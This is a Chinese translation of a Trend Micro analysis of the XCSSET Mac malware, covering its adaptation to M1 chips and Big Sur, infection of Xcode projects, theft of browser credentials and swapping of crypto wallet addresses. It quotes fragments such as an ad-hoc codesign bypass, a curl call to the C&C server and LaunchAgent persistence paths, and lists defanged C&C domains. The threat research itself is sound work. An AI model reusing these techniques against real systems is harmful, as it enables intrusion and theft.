被重新设计的Mac恶意软件 用于针对苹果新推出的 M1 芯片 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

被重新设计的Mac恶意软件 用于针对苹果新推出的 M1 芯片

xiaohui 恶意软件 2021-04-23 10:40:00
收藏

导语:针对 Xcode 开发者的 Mac 恶意软件 XCSSET 现在被重新设计,并用于针对苹果新推出的 M1 芯片的宣传活动中

早在去年8月,趋势科技的研究人员就已经发现许多 Xcode 项目包含可以攻击 Safari 和其他浏览器的恶意软件—— XCSSET ,当时研究人员还不知道XCSSET 是通过何种方式进入的 Mac 软件项目。

经过近九个月的研究,趋势科技的研究人员发布了对XCSSET的最新研究,包括使其适应于ARM64和x86_x64 Mac的运行方式。

如上所述,趋势科技的研究人员首先发现了XCSSET,其最初被认为属于某个恶意软件家族,不过通过最近的研究,它是一个新的攻击活动。关于以前的研究请点此查看,其中详细讨论了它对Xcode开发人员的危害,以及它如何利用两个macOS漏洞来最大限度地利用被感染的计算机。后来研究人员又有了一些新的发现,该漏洞利用了macOS中其他流行的浏览器来植入通用跨站点脚本(UXSS)注入。

macOS 11 Big Sur的重大变化

去年11月,苹果发布了其操作系统Big Sur以及配备基于ARM的M1处理器的Mac新产品。在内置于Big Sur的模拟器Rosetta 2的帮助下,具有x86_64系统架构的软件仍可以在macOS 11上运行,但是大多数软件开发人员可能更喜欢对其软件进行更新,使其可以支持ARM64。

据卡巴斯基的研究报告说,发现了来自恶意软件的新样本,这些样本可以在装有新M1芯片的Mac上运行。研究人员检查了从命令和控制(C&C)服务器下载的二进制文件,发现几乎所有文件都是同时包含x86_x64和ARM64系统架构的文件,只有三个只有x86_64系统架构。除了增加对M1芯片的支持之外,XCSSET恶意软件还采取了其他措施来适应macOS 11 Big Sur。

正如首次发现的那样,此恶意软件利用Safari的开发版本从其C&C服务器加载恶意的Safari框架和相关的JavaScript后门。它在C&C服务器中托管Safari更新程序包,然后下载并安装用户操作系统版本的程序包。为了适应新发布的Big Sur,添加了用于“ Safari 14”的新程序包(图1)。正如研究人员在safari_remote.applescript中观察到的那样,它会根据用户当前的浏览器和操作系统版本下载相应的Safari程序包(图2)。

1.png

Safari 14程序包

2.png

safari_remote.applescript

Big Sur的假冒应用程序也是从恶意的AppleScript文件创建的,其中从C&C服务器下载了图标文件,然后修改了它们的info.plist文件,使假冒冒应用程序的图标被令人信服地伪装成它试图假冒的合法应用程序的图标。

恶意软件的最新模块(例如new icons.php模块)对图标进行了更改,以适应受害者的操作系统(图5)。例如,针对macOS 10.15及更低版本的一个假冒冒的Finder图标具有一个名为Finder.icns的已下载图标文件,该图标文件带有圆角(图3),而macOS 11.1具有一个名为FinderBigSur.icns的已下载图标文件,并且带有一个带有圆角的图标(图4)假冒了Big Sur中使用的模型。

3.png

Finder图标(10.15)

4.png

Finder图标(11.1)

5.png

调用icons.php脚本

超越macOS 11的安全性函数

macOS Big Sur 11及更高版本的beta 6确实包含新的安全要求,以更好地检测任何代码修改。现在,可执行文件必须先签名,然后才能运行,尽管一个简单的特别签名就足够了。但是,这不适用于在Rosetta 2下运行的翻译后的x86二进制文件,也不适用于在基于Intel的平台上运行的macOS 11。

在所有AppleScript模块中,不是新的open命令,而是一个新的launchApp函数用于执行由恶意AppleScript制作的假冒应用程序(图6)。

6.png

launchApp调用函数

但是,正如研究人员从其源代码中看到的那样,该恶意软件可以巧妙地规避macOS 11的新安全策略:使用codesign --force --deep -s-命令对它们的虚假冒应用程序和文件进行即席签名。然后,该恶意软件会从其C&C服务器下载自己的开放工具,该工具预先带有临时签名,而如果是在macOS版本10.15及更低版本中,它仍将使用系统内置的开放命令来运行应用程序。

open工具的主要例程如下:

1.要求一个app bundle作为参数。例如:open xcode.app

2.启动{app bundle} \ Contents \ macOS \ applet

3.检查是否包含wait参数,例如:open xcode.app wait

4.启动{app bundle} \ Contents \ macOS \ applet

5.使用以下命令连续检查目标应用程序是否包含在正在运行的进程中: /bin/bash -c ps aux | grep -v grep | grep -ci '{app bundle}/Contents/macOS/applet' || echo 0 2>&1      &>/dev/null

有趣的是,即使/ usr / bin / open命令对于M1系统上的假冒应用程序也能正常工作,但它仍使用自己的open工具。

7.png

launchApp脚本

XCSSET的其他函数和有效载荷

在研究人员发布有关该恶意软件的第二份技术简介后的几天,一个名为“trendmicroano[。com”被添加到它的C&C服务器。尽管其中包含关键字“ trend micro”,但它与趋势科技无关。到目前为止,6个主C&C域共享94[.]130[.]27[.]189的同一个IP地址:

· Titian[.]com

· Findmymacs[.]com

· Statsmag[.]com

· Statsmag[.]xyz

· Adoberelations[.]com

· Trendmicronano[.]com

bootstrap.applescript

bootstrap.applescript模块由二进制Pod调用,并包含调用其他恶意AppleScript模块的逻辑,但也进行了一些值得注意的变化:

1.使用用户名“ apple_mac”的设备(被标识为具有M1芯片的物理设备)来测试具有ARM系统架构的新Mach-O文件是否可以在M1设备上正常工作(图8)

2.调用新的screen_sim模块而不是screen 模块(图9)

3.添加了对Chromium浏览器的支持(图10)

4.在以前的版本中,研究人员观察到chrome_data和opera_data模块仅在该语言包含印度语的“ IN”时才被调用(图11),但是在最新的迭代中,chrome_data模块和replicator模块一起被调用。另外,对operate_data的调用已被注释掉(图12)。

8.png

bootstrap.applescript模块的测试代码

9.png

bootstrap.applescript模块的新组件

10.png

bootstrap.applescript模块添加了对新浏览器的支持

11.png

bootstrap.applescript模块的先前版本

12.png

最新版本调用replicator模块

replicator.applescript

replicator.applescript模块负责向本地Xcode项目注入恶意代码,研究人员已经观察到,与先前版本相比,这个模块在最新版本中使用了更多不同的文件名。该模块使用的新文件名如下:

脚本文件名:

· Assets.xcassets

· Asset.xcasset

· xcassets.folder

· build.file

Mach-O文件名:

Cat

replicator.applescript 模块通过插入在构建阶段或构建规则期间调用其恶意组件的函数来感染Xcode开发人员项目。在以前的版本中,为插入到构建阶段或构建规则中的这些代码片段分配了硬编码的ID,但是此最新迭代添加了一个自动生成随机ID的新函数。根据其逻辑(图13),此随机ID始终以后缀“ AAC43A”结尾,该后缀用于识别和删除旧的感染片段,以准备进行新的感染(图14)。研究人员能够找到10个感染了该恶意软件的公共GitHub存储库,但是这些存储库都具有旧的硬编码ID,尚未发现感染了最新变种的存储库。

最初,在构建阶段或构建规则期间插入的脚本称为bash脚本文件,该文件将Mach-O二进制文件称为“ Pods”(图15)。但是,在此最新版本中,该脚本直接调用Mach-O二进制文件“ cat”,并被分配了AUTO_CLEAN_PROJ变量的值,该变量的当前值设置为“ false”(图16)。

13.png

随机ID生成器

14.png

Postfix用例

15.png

构建阶段脚本的先前版本

16.png

构建阶段脚本的最新版本

agent.php

在对来自agent.php的最新JavaScript代码进行分析之后,该代码包含用于处理操纵浏览器的请求的许多代码,研究人员还发现,与以前的版本不同,该恶意软件现在尝试从以下代码中窃取机密数据的网站:

· 163.com

· Huobi

· binance.com

· nncall.net

· Envato

· login.live.com

对于加密货币交易平台Huobi而言,该恶意软件不仅可以窃取帐户信息,而且还能够替换用户的加密货币钱包中的地址,这是以前版本中不存在的一个新功能。(图18)。

17.png

窃取Envato帐户信息

18.png

替换Huobi 钱包地址

关于登陆Mach-O文件的新发现

如前所述,研究人员发现几乎所有直接从C&C服务器下载的二进制文件都已从具有x86_64系统架构的Mach-O文件变为具有x86_64和ARM64系统架构的通用二进制文件,但有三个显著的例外:" cat "和" Pods "登陆由受感染的Xcode项目触发的Mach-O二进制文件,而" open "则用于执行所有由恶意AppleScript脚本文件编译的虚假应用。经过进一步调查,研究人员有了以下新发现,即为什么不更新这些内容以支持ARM64:

cat Mach-O二进制文件由Shell脚本编译器(shc)生成,Shell脚本编译器(shc)是一种开放源代码工具,用于从输入的shell脚本文件生成本地可执行二进制文件。用户可以从GitHub找到其源代码,并使用本地程序包管理工具轻松地安装它,例如适用于macOS的Homebrew或适用于Linux的Yellowdog Updater Modified(YUM)和apt-get。虽然有一个叫做UnShc的工具可以反编译由shc生成的二进制文件,但它不能很好地处理最新版本的shc文件。

因此,研究人员仍然必须使用适当的调试方法检查cat的有效载荷:首先,研究人员从cat获得了解密的shell脚本,其主要有效载荷是从C&C服务器下载并执行其他Mach-O二进制Pod(图19)。pod同样由shc生成,它的文件大小与cat相同。研究人员使用相同的调试方法从中获取解密的Shell脚本。

19.png

“ cat” Mach-O二进制文件

解密后,Pods的shell脚本非常复杂,并且能够进行如下操作:

1.连接到https://$TARGET_DOMAIN/apple/prepod.php试图获取远程命令,预期的返回结果是AppleScript字符串。如果返回结果不是空的,就调用osascript -e来执行它。到目前为止,返回结果为空。

2.读取 $HOME/Library/Caches/GameKit/.plist,如果该文件存在,则将其内容用作目标目录。否则,它将从以下内容中随机选择一个路径:

· "$HOME/Library/Application Support/iCloud"

· "$HOME/Library/Application Scripts/com.apple.AddressBook.Shared"

· "$HOME/Library/Group Containers/group.com.apple.notes"

· "$HOME/Library/Containers/com.apple.routerd"

3.读取$HOME/Library/Caches/GameKit/.plist,如果该文件存在,则将其内容用作持久项的plist文件的路径。否则,它将从以下内容中随机选择一个路径:

· "$HOME/Library/LaunchAgents/com.apple.net.core.plist"

· "$HOME/Library/LaunchAgents/com.apple.auditor.plist"

· "$HOME/Library/LaunchAgents/com.google.keystone.plist"

· "$HOME/Library/LaunchAgents/com.google.keystone.plist"

4.使用macOS的osacompile命令来编译嵌入式AppleScript(图20)以获取假冒的Xcode.app。嵌入式AppleScript包含一些加密的字符串,使其难以被读取。但是在解密之后,研究人员发现了它的主要有效载荷:

4.1通过执行以下命令向com.php发送一个http请求:curl -sk -d 'user=

4.2使用osacompile -x命令将AppleScript内容从curl命令编译为只能运行的AppleScript,然后执行它。

5.创建文件$HOME/Library/ cache /GameKit/AppleKit,然后将Xcode.app的主要Mach-O文件(Contents/macOS/applet)的路径写入其中。

6.创建启动$HOME/Library/Caches/GameKit/AppleKit的文件$ TARGET_PLIST_FILE。然后,它调用launchctl load命令加载plist文件,以便执行AppleKit文件,然后执行假冒的Xcode.app。

7.编写以下文件:

7.1 "$HOME/Library/Caches/GameKit/.report" ——由恶意软件编译的“ $ TARGETDIR / Xcode.app”

7.2 "$HOME/Library/Caches/GameKit/.plist"——由恶意软件创建的“ $ TARGET_PLIST_FILE”持久性

7.3"$HOME/Library/Caches/GameKit/.domain" ——恶意软件使用的域

最后,shell脚本中一个有趣的函数是clean_proj(图21),该函数用于清除当前受感染的Xcode项目。 clean_proj的调用条件为“ $ AUTOCLEAN = true”(图22),但是如前所述,当前变量的值为false。

20.png

嵌入式AppleScript代码

21.png

进行清除的Clean_proj

22.png

仅在AUTOCLEAN为true时进行清除

本文翻译自:https://www.trendmicro.com/en_us/research/21/d/xcsset-quickly-adapts-to-macos-11-and-m1-based-macs.html如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论